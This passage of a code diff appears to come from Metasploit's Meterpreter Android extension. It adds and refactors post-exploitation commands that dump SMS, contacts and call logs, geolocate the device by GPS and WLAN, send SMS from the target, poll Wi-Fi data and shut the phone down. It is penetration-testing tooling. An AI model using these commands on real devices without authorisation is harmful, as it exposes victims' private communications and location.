request = Packet.create_request('interval_collect')
|
||||
request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]])
|
||||
request.add_tlv(TLV_TYPE_COLLECT_TYPE, COLLECT_TYPES[opts[:type]])
|
||||
request.add_tlv(TLV_TYPE_COLLECT_TIMEOUT, opts[:timeout])
|
||||
response = client.send_request(request)
|
||||
|
||||
result = {
|
||||
headers: [],
|
||||
collections: []
|
||||
}
|
||||
|
||||
case COLLECT_TYPES[opts[:type]]
|
||||
when COLLECT_TYPE_WIFI
|
||||
result[:headers] = ['Last Seen', 'BSSID', 'SSID', 'Level']
|
||||
result[:entries] = []
|
||||
records = {}
|
||||
|
||||
response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|
|
||||
timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)
|
||||
timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')
|
||||
|
||||
g.each(TLV_TYPE_COLLECT_RESULT_WIFI) do |w|
|
||||
bssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID)
|
||||
ssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID)
|
||||
key = "#{bssid}-#{ssid}"
|
||||
|
||||
if !records.include?(key) || records[key][0] < timestamp
|
||||
# Level is passed through as positive, because UINT
|
||||
# but we flip it back to negative on this side
|
||||
level = -w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL)
|
||||
records[key] = [timestamp, bssid, ssid, level]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
records.each do |k, v|
|
||||
result[:entries] << v
|
||||
end
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
def dump_sms
|
||||
sms = Array.new
|
||||
sms = []
|
||||
request = Packet.create_request('dump_sms')
|
||||
response = client.send_request(request)
|
||||
|
||||
response.each( TLV_TYPE_SMS_GROUP ) { |p|
|
||||
|
||||
sms <<
|
||||
{
|
||||
response.each(TLV_TYPE_SMS_GROUP) do |p|
|
||||
sms << {
|
||||
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
|
||||
'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
|
||||
'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
|
||||
'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
|
||||
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
|
||||
}
|
||||
|
||||
}
|
||||
return sms
|
||||
end
|
||||
sms
|
||||
end
|
||||
|
||||
def dump_contacts
|
||||
contacts = Array.new
|
||||
contacts = []
|
||||
request = Packet.create_request('dump_contacts')
|
||||
response = client.send_request(request)
|
||||
|
||||
response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
|
||||
|
||||
contacts <<
|
||||
{
|
||||
response.each(TLV_TYPE_CONTACT_GROUP) do |p|
|
||||
contacts << {
|
||||
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
|
||||
'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
|
||||
'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
|
||||
}
|
||||
|
||||
}
|
||||
return contacts
|
||||
end
|
||||
contacts
|
||||
end
|
||||
|
||||
def geolocate
|
||||
|
||||
loc = Array.new
|
||||
loc = []
|
||||
request = Packet.create_request('geolocate')
|
||||
response = client.send_request(request)
|
||||
|
||||
loc <<
|
||||
{
|
||||
loc << {
|
||||
'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
|
||||
'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
|
||||
}
|
||||
|
||||
return loc
|
||||
loc
|
||||
end
|
||||
|
||||
def dump_calllog
|
||||
log = Array.new
|
||||
log = []
|
||||
request = Packet.create_request('dump_calllog')
|
||||
response = client.send_request(request)
|
||||
|
||||
response.each(TLV_TYPE_CALLLOG_GROUP) { |p|
|
||||
|
||||
log <<
|
||||
{
|
||||
response.each(TLV_TYPE_CALLLOG_GROUP) do |p|
|
||||
log << {
|
||||
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
|
||||
'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
|
||||
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
|
||||
'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
|
||||
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
|
||||
}
|
||||
|
||||
}
|
||||
return log
|
||||
end
|
||||
log
|
||||
end
|
||||
|
||||
def check_root
|
||||
@@ -119,8 +179,38 @@ class Android < Extension
|
||||
response = client.send_request(request)
|
||||
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
|
||||
end
|
||||
end
|
||||
|
||||
def send_sms(dest, body, dr)
|
||||
request = Packet.create_request('send_sms')
|
||||
request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)
|
||||
request.add_tlv(TLV_TYPE_SMS_BODY, body)
|
||||
request.add_tlv(TLV_TYPE_SMS_DR, dr)
|
||||
if dr == false
|
||||
response = client.send_request(request)
|
||||
sr = response.get_tlv(TLV_TYPE_SMS_SR).value
|
||||
return sr
|
||||
else
|
||||
response = client.send_request(request, 30)
|
||||
sr = response.get_tlv(TLV_TYPE_SMS_SR).value
|
||||
dr = response.get_tlv(TLV_TYPE_SMS_SR).value
|
||||
return [sr, dr]
|
||||
end
|
||||
end
|
||||
|
||||
def wlan_geolocate
|
||||
request = Packet.create_request('wlan_geolocate')
|
||||
response = client.send_request(request, 30)
|
||||
networks = []
|
||||
response.each(TLV_TYPE_WLAN_GROUP) do |p|
|
||||
networks << {
|
||||
'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value),
|
||||
'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value),
|
||||
'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value)
|
||||
}
|
||||
end
|
||||
networks
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -7,31 +7,52 @@ module Meterpreter
|
||||
module Extensions
|
||||
module Android
|
||||
|
||||
TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001)
|
||||
TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002)
|
||||
TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003)
|
||||
TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004)
|
||||
TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005)
|
||||
TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006)
|
||||
TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001)
|
||||
TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002)
|
||||
TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003)
|
||||
TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004)
|
||||
TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005)
|
||||
TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006)
|
||||
|
||||
TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007)
|
||||
TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008)
|
||||
TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009)
|
||||
TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010)
|
||||
TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007)
|
||||
TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008)
|
||||
TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009)
|
||||
TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010)
|
||||
|
||||
TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011)
|
||||
TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012)
|
||||
TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011)
|
||||
TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012)
|
||||
|
||||
TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013)
|
||||
TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014)
|
||||
TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015)
|
||||
TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016)
|
||||
TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017)
|
||||
TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018)
|
||||
TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013)
|
||||
TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014)
|
||||
TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015)
|
||||
TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016)
|
||||
TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017)
|
||||
TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018)
|
||||
|
||||
TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
|
||||
TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
|
||||
|
||||
TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
|
||||
TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
|
||||
|
||||
TLV_TYPE_SMS_SR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9021)
|
||||
|
||||
TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022)
|
||||
TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023)
|
||||
TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024)
|
||||
TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025)
|
||||
|
||||
TLV_TYPE_SMS_DR = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9026)
|
||||
|
||||
TLV_TYPE_COLLECT_TYPE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9050)
|
||||
TLV_TYPE_COLLECT_ACTION = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9051)
|
||||
TLV_TYPE_COLLECT_TIMEOUT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9052)
|
||||
TLV_TYPE_COLLECT_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9053)
|
||||
TLV_TYPE_COLLECT_RESULT_TIMESTAMP = TLV_META_TYPE_QWORD | (TLV_EXTENSIONS + 9054)
|
||||
|
||||
# Reuse existing IDs for these
|
||||
TLV_TYPE_COLLECT_RESULT_WIFI = TLV_TYPE_WLAN_GROUP
|
||||
TLV_TYPE_COLLECT_RESULT_WIFI_BSSID = TLV_TYPE_WLAN_BSSID
|
||||
TLV_TYPE_COLLECT_RESULT_WIFI_SSID = TLV_TYPE_WLAN_SSID
|
||||
TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL = TLV_TYPE_WLAN_LEVEL
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -83,6 +83,7 @@ class Console
|
||||
channel.extend(InteractiveChannel) unless (channel.kind_of?(InteractiveChannel) == true)
|
||||
channel.on_command_proc = self.on_command_proc if self.on_command_proc
|
||||
channel.on_print_proc = self.on_print_proc if self.on_print_proc
|
||||
channel.on_log_proc = method(:log_output) if self.respond_to?(:log_output, true)
|
||||
|
||||
channel.interact(input, output)
|
||||
channel.reset_ui
|
||||
|
||||
@@ -1,17 +1,17 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/post/meterpreter'
|
||||
require 'msf/core/auxiliary/report'
|
||||
require 'rex/google/geolocation'
|
||||
require 'date'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Ui
|
||||
|
||||
###
|
||||
# Android extension - set of commands to be executed on android devices.
|
||||
# extension by Anwar Mohamed (@anwarelmakrahy)
|
||||
###
|
||||
|
||||
class Console::CommandDispatcher::Android
|
||||
include Console::CommandDispatcher
|
||||
include Msf::Auxiliary::Report
|
||||
@@ -26,33 +26,111 @@ class Console::CommandDispatcher::Android
|
||||
'geolocate' => 'Get current lat-long using geolocation',
|
||||
'dump_calllog' => 'Get call log',
|
||||
'check_root' => 'Check if device is rooted',
|
||||
'device_shutdown' => 'Shutdown device'
|
||||
'device_shutdown' => 'Shutdown device',
|
||||
'send_sms' => 'Sends SMS from target session',
|
||||
'wlan_geolocate' => 'Get current lat-long using WLAN information',
|
||||
'interval_collect' => 'Manage interval collection capabilities'
|
||||
}
|
||||
|
||||
reqs = {
|
||||
'dump_sms' => [ 'dump_sms' ],
|
||||
'dump_contacts' => [ 'dump_contacts' ],
|
||||
'geolocate' => [ 'geolocate' ],
|
||||
'dump_calllog' => [ 'dump_calllog' ],
|
||||
'check_root' => [ 'check_root' ],
|
||||
'device_shutdown' => [ 'device_shutdown']
|
||||
'dump_sms' => ['dump_sms'],
|
||||
'dump_contacts' => ['dump_contacts'],
|
||||
'geolocate' => ['geolocate'],
|
||||
'dump_calllog' => ['dump_calllog'],
|
||||
'check_root' => ['check_root'],
|
||||
'device_shutdown' => ['device_shutdown'],
|
||||
'send_sms' => ['send_sms'],
|
||||
'wlan_geolocate' => ['wlan_geolocate'],
|
||||
'interval_collect' => ['interval_collect']
|
||||
}
|
||||
|
||||
# Ensure any requirements of the command are met
|
||||
all.delete_if do |cmd, desc|
|
||||
reqs[cmd].any? { |req| not client.commands.include?(req) }
|
||||
all.delete_if do |cmd, _desc|
|
||||
reqs[cmd].any? { |req| !client.commands.include?(req) }
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_device_shutdown(*args)
|
||||
def interval_collect_usage
|
||||
print_line('Usage: interval_collect <parameters>')
|
||||
print_line
|
||||
print_line('Specifies an action to perform on a collector type.')
|
||||
print_line
|
||||
print_line(@@interval_collect_opts.usage)
|
||||
end
|
||||
|
||||
def cmd_interval_collect(*args)
|
||||
@@interval_collect_opts ||= Rex::Parser::Arguments.new(
|
||||
'-h' => [false, 'Help Banner'],
|
||||
'-a' => [true, "Action (required, one of: #{client.android.collect_actions.join(', ')})"],
|
||||
'-c' => [true, "Collector type (required, one of: #{client.android.collect_types.join(', ')})"],
|
||||
'-t' => [true, 'Collect poll timeout period in seconds (default: 30)']
|
||||
)
|
||||
|
||||
opts = {
|
||||
action: nil,
|
||||
type: nil,
|
||||
timeout: 30
|
||||
}
|
||||
|
||||
@@interval_collect_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when '-a'
|
||||
opts[:action] = val.downcase
|
||||
when '-c'
|
||||
opts[:type] = val.downcase
|
||||
when '-t'
|
||||
opts[:timeout] = val.to_i
|
||||
opts[:timeout] = 30 if opts[:timeout] <= 0
|
||||
end
|
||||
end
|
||||
|
||||
unless client.android.collect_actions.include?(opts[:action])
|
||||
interval_collect_usage
|
||||
return
|
||||
end
|
||||
|
||||
type = args.shift.downcase
|
||||
|
||||
unless client.android.collect_types.include?(opts[:type])
|
||||
interval_collect_usage
|
||||
return
|
||||
end
|
||||
|
||||
result = client.android.interval_collect(opts)
|
||||
if result[:headers].length > 0 && result[:entries].length > 0
|
||||
header = "Captured #{opts[:type]} data"
|
||||
|
||||
if result[:timestamp]
|
||||
time = Time.at(result[:timestamp]).to_datetime
|
||||
header << " at #{time.strftime('%Y-%m-%d %H:%M:%S')}"
|
||||
end
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => header,
|
||||
'SortIndex' => 0,
|
||||
'Columns' => result[:headers],
|
||||
'Indent' => 0
|
||||
)
|
||||
|
||||
result[:entries].each do |e|
|
||||
table << e
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line(table.to_s)
|
||||
else
|
||||
print_good('Interval action completed successfully')
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_device_shutdown(*args)
|
||||
seconds = 0
|
||||
device_shutdown_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-t' => [ false, 'Shutdown after n seconds']
|
||||
)
|
||||
|
||||
device_shutdown_opts.parse(args) { | opt, idx, val |
|
||||
device_shutdown_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: device_shutdown [options]')
|
||||
@@ -62,26 +140,25 @@ class Console::CommandDispatcher::Android
|
||||
when '-t'
|
||||
seconds = val.to_i
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
res = client.android.device_shutdown(seconds)
|
||||
|
||||
if res
|
||||
print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
|
||||
print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}")
|
||||
else
|
||||
print_error('Device shutdown failed')
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_dump_sms(*args)
|
||||
|
||||
def cmd_dump_sms(*args)
|
||||
path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
||||
dump_sms_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-o' => [ false, 'Output path for sms list']
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-o' => [ false, 'Output path for sms list']
|
||||
)
|
||||
|
||||
dump_sms_opts.parse(args) { | opt, idx, val |
|
||||
dump_sms_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: dump_sms [options]')
|
||||
@@ -91,19 +168,18 @@ class Console::CommandDispatcher::Android
|
||||
when '-o'
|
||||
path = val
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
smsList = []
|
||||
smsList = client.android.dump_sms
|
||||
sms_list = client.android.dump_sms
|
||||
|
||||
if smsList.count > 0
|
||||
print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
|
||||
if sms_list.count > 0
|
||||
print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}")
|
||||
begin
|
||||
info = client.sys.config.sysinfo
|
||||
|
||||
data = ""
|
||||
data << "\n=====================\n"
|
||||
data << "[+] Sms messages dump\n"
|
||||
data << "[+] SMS messages dump\n"
|
||||
data << "=====================\n\n"
|
||||
|
||||
time = Time.new
|
||||
@@ -112,8 +188,7 @@ class Console::CommandDispatcher::Android
|
||||
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||
|
||||
smsList.each_with_index { |a, index|
|
||||
|
||||
sms_list.each_with_index do |a, index|
|
||||
data << "##{index.to_i + 1}\n"
|
||||
|
||||
type = 'Unknown'
|
||||
@@ -147,14 +222,14 @@ class Console::CommandDispatcher::Android
|
||||
data << "Address\t: #{a['address']}\n"
|
||||
data << "Status\t: #{status}\n"
|
||||
data << "Message\t: #{a['body']}\n\n"
|
||||
}
|
||||
end
|
||||
|
||||
::File.write(path, data)
|
||||
print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
|
||||
print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}")
|
||||
|
||||
return true
|
||||
rescue
|
||||
print_error("Error getting messages: #{$!}")
|
||||
print_error("Error getting messages: #{$ERROR_INFO}")
|
||||
return false
|
||||
end
|
||||
else
|
||||
@@ -163,18 +238,15 @@ class Console::CommandDispatcher::Android
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def cmd_dump_contacts(*args)
|
||||
|
||||
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
||||
dump_contacts_opts = Rex::Parser::Arguments.new(
|
||||
|
||||
dump_contacts_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-o' => [ false, 'Output path for contacts list']
|
||||
|
||||
)
|
||||
|
||||
dump_contacts_opts.parse(args) { | opt, idx, val |
|
||||
dump_contacts_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: dump_contacts [options]')
|
||||
@@ -184,13 +256,12 @@ class Console::CommandDispatcher::Android
|
||||
when '-o'
|
||||
path = val
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
contactList = []
|
||||
contactList = client.android.dump_contacts
|
||||
contact_list = client.android.dump_contacts
|
||||
|
||||
if contactList.count > 0
|
||||
print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
|
||||
if contact_list.count > 0
|
||||
print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list")
|
||||
begin
|
||||
info = client.sys.config.sysinfo
|
||||
|
||||
@@ -205,32 +276,28 @@ class Console::CommandDispatcher::Android
|
||||
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||
|
||||
contactList.each_with_index { |c, index|
|
||||
contact_list.each_with_index do |c, index|
|
||||
|
||||
data << "##{index.to_i + 1}\n"
|
||||
data << "Name\t: #{c['name']}\n"
|
||||
|
||||
if c['number'].count > 0
|
||||
(c['number']).each { |n|
|
||||
data << "Number\t: #{n}\n"
|
||||
}
|
||||
c['number'].each do |n|
|
||||
data << "Number\t: #{n}\n"
|
||||
end
|
||||
|
||||
if c['email'].count > 0
|
||||
(c['email']).each { |n|
|
||||
data << "Email\t: #{n}\n"
|
||||
}
|
||||
c['email'].each do |n|
|
||||
data << "Email\t: #{n}\n"
|
||||
end
|
||||
|
||||
data << "\n"
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
::File.write(path, data)
|
||||
print_status("Contacts list saved to: #{path}")
|
||||
|
||||
return true
|
||||
rescue
|
||||
print_error("Error getting contacts list: #{$!}")
|
||||
print_error("Error getting contacts list: #{$ERROR_INFO}")
|
||||
return false
|
||||
end
|
||||
else
|
||||
@@ -243,13 +310,11 @@ class Console::CommandDispatcher::Android
|
||||
|
||||
generate_map = false
|
||||
geolocate_opts = Rex::Parser::Arguments.new(
|
||||
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-g' => [ false, 'Generate map using google-maps']
|
||||
|
||||
)
|
||||
|
||||
geolocate_opts.parse(args) { | opt, idx, val |
|
||||
geolocate_opts.parse(args) do |opt, _idx, _val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: geolocate [options]')
|
||||
@@ -259,7 +324,7 @@ class Console::CommandDispatcher::Android
|
||||
when '-g'
|
||||
generate_map = true
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
geo = client.android.geolocate
|
||||
|
||||
@@ -278,7 +343,6 @@ class Console::CommandDispatcher::Android
|
||||
end
|
||||
|
||||
def cmd_dump_calllog(*args)
|
||||
|
||||
path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
||||
dump_calllog_opts = Rex::Parser::Arguments.new(
|
||||
|
||||
@@ -287,7 +351,7 @@ class Console::CommandDispatcher::Android
|
||||
|
||||
)
|
||||
|
||||
dump_calllog_opts.parse(args) { | opt, idx, val |
|
||||
dump_calllog_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: dump_calllog [options]')
|
||||
@@ -297,12 +361,12 @@ class Console::CommandDispatcher::Android
|
||||
when '-o'
|
||||
path = val
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
log = client.android.dump_calllog
|
||||
|
||||
if log.count > 0
|
||||
print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
|
||||
print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}")
|
||||
begin
|
||||
info = client.sys.config.sysinfo
|
||||
|
||||
@@ -317,23 +381,21 @@ class Console::CommandDispatcher::Android
|
||||
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||
|
||||
log.each_with_index { |a, index|
|
||||
|
||||
log.each_with_index do |a, index|
|
||||
data << "##{index.to_i + 1}\n"
|
||||
|
||||
data << "Number\t: #{a['number']}\n"
|
||||
data << "Name\t: #{a['name']}\n"
|
||||
data << "Date\t: #{a['date']}\n"
|
||||
data << "Type\t: #{a['type']}\n"
|
||||
data << "Duration: #{a['duration']}\n\n"
|
||||
}
|
||||
end
|
||||
|
||||
::File.write(path, data)
|
||||
print_status("Call log saved to #{path}")
|
||||
|
||||
return true
|
||||
rescue
|
||||
print_error("Error getting call log: #{$!}")
|
||||
print_error("Error getting call log: #{$ERROR_INFO}")
|
||||
return false
|
||||
end
|
||||
else
|
||||
@@ -342,14 +404,13 @@ class Console::CommandDispatcher::Android
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def cmd_check_root(*args)
|
||||
|
||||
check_root_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ]
|
||||
)
|
||||
|
||||
check_root_opts.parse(args) { | opt, idx, val |
|
||||
check_root_opts.parse(args) do |opt, _idx, _val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: check_root [options]')
|
||||
@@ -357,26 +418,123 @@ class Console::CommandDispatcher::Android
|
||||
print_line(check_root_opts.usage)
|
||||
return
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
is_rooted = client.android.check_root
|
||||
|
||||
if is_rooted
|
||||
print_good('Device is rooted')
|
||||
elsif
|
||||
else
|
||||
print_status('Device is not rooted')
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_send_sms(*args)
|
||||
send_sms_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-d' => [ true, 'Destination number' ],
|
||||
'-t' => [ true, 'SMS body text' ],
|
||||
'-dr' => [ false, 'Wait for delivery report' ]
|
||||
)
|
||||
|
||||
dest = ''
|
||||
body = ''
|
||||
dr = false
|
||||
|
||||
send_sms_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: send_sms -d <number> -t <sms body>')
|
||||
print_line('Sends SMS messages to specified number.')
|
||||
print_line(send_sms_opts.usage)
|
||||
return
|
||||
when '-d'
|
||||
dest = val
|
||||
when '-t'
|
||||
body = val
|
||||
when '-dr'
|
||||
dr = true
|
||||
end
|
||||
end
|
||||
|
||||
if dest.blank? || body.blank?
|
||||
print_error("You must enter both a destination address -d and the SMS text body -t")
|
||||
print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."')
|
||||
print_line(send_sms_opts.usage)
|
||||
return
|
||||
end
|
||||
|
||||
sent = client.android.send_sms(dest, body, dr)
|
||||
if dr
|
||||
if sent[0] == "Transmission successful"
|
||||
print_good("SMS sent - #{sent[0]}")
|
||||
else
|
||||
print_error("SMS send failed - #{sent[0]}")
|
||||
end
|
||||
if sent[1] == "Transmission successful"
|
||||
print_good("SMS delivered - #{sent[1]}")
|
||||
else
|
||||
print_error("SMS delivery failed - #{sent[1]}")
|
||||
end
|
||||
else
|
||||
if sent == "Transmission successful"
|
||||
print_good("SMS sent - #{sent}")
|
||||
else
|
||||
print_error("SMS send failed - #{sent}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_wlan_geolocate(*args)
|
||||
wlan_geolocate_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ]
|
||||
)
|
||||
|
||||
wlan_geolocate_opts.parse(args) do |opt, _idx, _val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: wlan_geolocate')
|
||||
